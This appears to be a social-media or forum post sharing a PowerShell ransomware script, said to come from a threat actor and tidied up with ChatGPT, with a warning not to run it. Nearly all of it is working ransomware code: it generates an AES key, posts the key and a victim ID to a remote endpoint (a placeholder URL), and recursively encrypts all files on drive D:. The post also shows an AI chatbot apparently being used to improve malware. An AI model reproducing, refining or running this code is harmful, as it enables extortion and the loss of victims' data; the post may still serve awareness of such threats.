A script from a threat actor after ChatGPT cleaned it up (for fun). This script WILL encrypt your stuff, don't run it.

TA-Script-GPT-Cleaned.ps1

# Define the folder to encrypt
$folderToEncrypt = "D:\"

# Generate a unique user ID
$userId = [guid]::NewGuid().ToString()

# Generate a secure random key
$key = New-Object byte[] 32
[System.Security.Cryptography.RandomNumberGenerator]::Create().GetBytes($key)

# ASCII-safe encode the key
$keyEncoded = [Convert]::ToBase64String($key)

# Upload the key and User ID to a REST API endpoint
function Upload-Key {
    param (
        [string]$Endpoint,
        [string]$UserId,
        [string]$Key
    )

    $body = @{
        userId = $UserId
        key = $Key
    } | ConvertTo-Json -Depth 10

    # Make the HTTP POST request
    Invoke-RestMethod -Uri $Endpoint -Method Post -Body $body -ContentType "application/json"
}

# Example endpoint URL (replace with your actual endpoint)
$endpointUrl = "https://example.com/api/upload-key"
Upload-Key -Endpoint $endpointUrl -UserId $userId -Key $keyEncoded

# Encryption function using AES with unique IVs
function Encrypt-Files {
    param (
        [string]$Path,
        [byte[]]$Key
    )

    # Get all files in the specified folder
    $files = Get-ChildItem -Path $Path -File -Recurse

    foreach ($file in $files) {
        $fileContent = Get-Content -Path $file.FullName -Raw -Encoding Byte

        # Generate a unique IV for each file
        $iv = New-Object byte[] 16
        [System.Security.Cryptography.RandomNumberGenerator]::Create().GetBytes($iv)

        # Create AES encryption object
        $aes = [System.Security.Cryptography.Aes]::Create()
        $aes.Key = $Key
        $aes.IV = $iv
        $encryptor = $aes.CreateEncryptor()
        $encryptedContent = $encryptor.TransformFinalBlock($fileContent, 0, $fileContent.Length)

        # Save encrypted content
        $encryptedFilePath = "$($file.FullName).encrypted"
        [System.IO.File]::WriteAllBytes($encryptedFilePath, $encryptedContent)

        # Save IV to a separate file
        $ivFilePath = "$($file.FullName).iv"
        [System.IO.File]::WriteAllBytes($ivFilePath, $iv)
    }

    Write-Host "Encryption completed for all files in $Path."
}

# Execute the encryption function
Encrypt-Files -Path $folderToEncrypt -Key $key